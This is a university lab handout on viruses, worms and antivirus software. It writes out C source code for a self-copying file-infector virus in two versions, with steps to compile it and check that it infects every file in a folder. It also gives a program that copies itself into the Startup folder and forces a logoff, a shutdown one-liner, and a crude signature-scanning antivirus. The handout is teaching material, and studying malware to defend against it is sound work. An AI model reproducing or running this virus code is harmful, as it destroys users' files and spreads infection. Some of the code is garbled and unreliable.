Information Security Lab [15B17CI576] Odd 2021

Week 3 (11th August – 17th August)

Anti-virus and Anti-worms

Note: Complete week 2 Assignment and go through week 3 self reading assignment on Anti-Virus and worms.

1. Use your web browser to investigate the technical difference between a virus, a worm and a Trojan horse. Try typing each of these terms into your favourite Internet search engine.

a. Do you get better results if you type in each term separately or if you type them in all together? What search strings proved most helpful to you?

2. Run “netstat –an” on your own computer. On a computer running Microsoft Windows, open a command prompt. Often this can be done by going to the Start menu, then choosing Programs > Accessories > Command Prompt. The netstat command will actually work on many other operating systems, including Linux.

Virus:

Computer virus is simply is a malware program which when executed causes some harmful activity on the computer by infecting it. Such virus may be responsible for stealing hard disc space, accessing private data; corrupting information etc. depending up on the type of the malware. The source code which when executed creates a copy of itself in all the other files that are present in the same directory. These viruses generally tend to form a network, and easily spread all over the computer.

CAUTION: The source code to develop computer virus presented here are for study purpose only. Analyze these programs, but not run them in your computer. Some of these may delete files in your computer, while other may change your computer's configurations or even remove your system completely.

3. Creating a virus in C

Computer virus is a computer program that can copy itself and infect a computer. A virus can spread from one computer to another through different medias (internet, removable media-floppy, USB drive,CD,DVD).

WARNING: FOR EDUCATIONAL PURPOSE ONLY.NOT MISUSE.

SOURCE CODE:

```
#include<stdio.h>
#include<conio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048]
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if (host==NULL) goto next;
x=89088;
printf(infecting %sn",ffblk.ff_name,a);
while(x<2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,i,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE!(total files infected=%d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,(end-st)/CLK_TCK);
getch();
```

COMPILING METHOD:

1. Copy the virus source code into compiler (Borland tc++ 3.0).press Alt+F9 to compile.
2. Press F9 to generate the EXE files (DO NOT PRESS CLT+F9, THIS WILL INFECT ALL THE FILES IN CUR DIRECTORIES.)
3. Note down the size of generated EXE files in bytes (click the properties of EXE file for note down the size)
4. Change the value of x in the source code with the noted size (IN THE ABOVE SOURCE CODE X=88089, CHANGE IT)
5. Once again follow the step1 and step2.Now the generated EXE file is ready to infect

HOW TO TEST THE WORKING OF VIRUS:

1. Open new empty folder
2. Put some EXE files (By searching for *.EXE in search and pasting in the new folder)
3. Run the virus EXE file. There you will see all the files in the current directory get infected
4. All the infected files will be ready to reinfect.

4. Develop Computer Virus using C to Destroy Files:

```
//Develop Computer Virus Using C to Destroy Files
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x; // variable declaration
char buff[2048]; // variable declaration
struct ffblk ffblk;
clock_t st,end;

void main()
{
    st=clock();
    clrscr(); // to clear the screen
    done=findfirst("*.*",&ffblk,0); //looking for a file with any extension (*.*)
    while(!done)
    {
        virus=fopen(_argv[0],"rb"); // calling the functon
        host=fopen(ffblk.ff_name,"rb+");
        if(host==NULL) goto next;
        x=89088;
        printf("Infecting %s\n",ffblk.ff_name,a);
        while(x>2048)
        {
            fread(buff,2048,1,virus);
            fwrite(buff,2048,1,host);
            x-=2048;
        }
        fread(buff,x,1,virus);
        fwrite(buff,x,1,host);
        a++;
next: {
            fcloseall();
            done=findnext(&ffblk);
        }
    }
    printf("DONE! (Total Files Infected= %d)",a);
    end=clock();
    printf("TIME TAKEN=%f SEC\n",
           (end-st)/CLK_TCK);
    getch();
            }
```

Testing the Virus

Testing this virus normally may infect your computer. So, in order to test this virus program, you are recommended to follow the following steps:

Make a new empty folder in your computer.

Then, copy some executable files or any kind of files in that folder.

Run the application or .exe file of the virus. Within a few seconds, all the other files in that folder get infected.

After that, each file in that folder is a virus which can be used to re-infect.

5. Create Computer Virus using C to Restart Computer:

This virus is so simple to create. The only thing you need to know is how to approach the setting menu of your computer. The source code is short. The first line is to reach the setting menu of your system and the second line to shut it down.

//Develop Computer Virus using C to Restart Computer

```
#include<stdio.h>
#include<dos.h>
int main()
{
   system("copy test.exe C:/Documents and Settings/All Users/Start Menu/Programs/Startup/");
   system("shutdown -l -f");
}
```

It is not so harmful to test this virus on your computer. Save and close all the important programs and run .exe file of this program; it will restart your system.

Computer Virus using C to Restart Computer (Turbo C)

```
void main(void)
{
system(“shutdown-s”);
}
```

6. Create a harmless freeze virus.

Follow the instructions on the below link

Link: http://www.wikihow.com/Create-a-Harmless-Freeze-Virus

7. Creating an Antivirus

Suppose we’ve to scan any user specified folder and delete the virus files.

For doing this, we need to:

STEP 1: Get a list of all the files present in that folder including sub directories too.
STEP 2: Scan them one by one using the character sample we’ve collected above. If the characters at positions specified above are matched with those in files, then it would be tagged as “Infected”.
STEP 3: Delete the virus file, in case we find them.

Coding Part:

```
/*The program written below is an exclusive property of Hack Zone
You are not allowed to copy/reprint it in any social media like:-
books, internet, blogs, etc. without the permission of its author.
Author: Hack Zone Team
Release Date(dd/mm/yyy): 24/6/2013 */
#include <dirent.h>
#include <string.h>
```

```
#include <fstream.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream.h>
intscan_this(char*file_name) {
 char*pattern, *line_in_file;
 charfile_ch, ch;
  intval, val2, flag;
 ifstream fin3, fin4;
 fin3.open(file_name); // incase the file is not accesible
 if(!fin3) return0;
else// file is accessible | 100% it is a file.
 {
 //Opening Virus Database File
 fin4.open("db.txt"); // this is our character pattern file
for(;;)
 {
 fin4>>pattern;
 if(!strcmp(pattern,"<-"))
 {
 fin4>>pattern;
 if(!strcmpi(pattern,"End"))return-1;
 elseif(!strcmpi(pattern, "virus"))
 {
 if(flag) return1;
 elsecontinue;
 }
 }
 elseif(!strcmpi(pattern,"LINE"))
 {
 fin4>>val; // got the line number
// skipping initial lines to reach the line number
 for(inti=0;i<val-1;i++)
 {
 fin3.getline(line_in_file, 300);
 }
fin4>>val; // got the character number
 fin4>>file_ch; // got the character
//skipping initial character to reach the character
 for(i=0;i<val-1;i++)
 {
 fin3.get(ch);
 }
if(file_ch == ch) flag = 1; // matched.
 elseflag =0;
 fin3.seekg(0); // set to start
 }
 }
} }
voidmain()
{
 charcomm[300], dirpath[100], file_name[200];
 charask;
 intresponse;
 ifstream fin;
cout<<"Enter Directory you want to
 scan: "; cin>>dirpath;
strcpy(comm, "dir ");
 strcat(comm, "dirpath /b /s
 >tmp.$$$"); system(comm);
fin.open("tmp.$$
$");
while(!fin.eof()
)
 {
 fin.getline(file_name, 200);
 response =
 scan_this(file_name);
 if(response == 1)
 {
 cout<<"<--!! Caution.! A Virus has been
 Detected..!"; cout<<"\n"<<file_name;
 cout<<"\nPress Enter Key to Delete
 it."; ask= getch();
 if(ask ==
 13) {
 remove(file_name); // delete the
 virus }
}

}
fin.close();
 cout<<"Scan Complete.!! Thank You for using our anti
 virus"; getch();
}
```

Note: You need to create its Executable (.exe) of this program before using it anywhere. To create Executable, simply save your program in any name and then press F9 twice.

The code written above has 1 major function as listed below:

system command
It executes the DOS command within the c++ program. The command executed in the program is, dir /b /s >temp.$$$
This, command, lists all the file present in current working directory including sub directories and saves them in temp.$$$ file

and the rest is File Handling.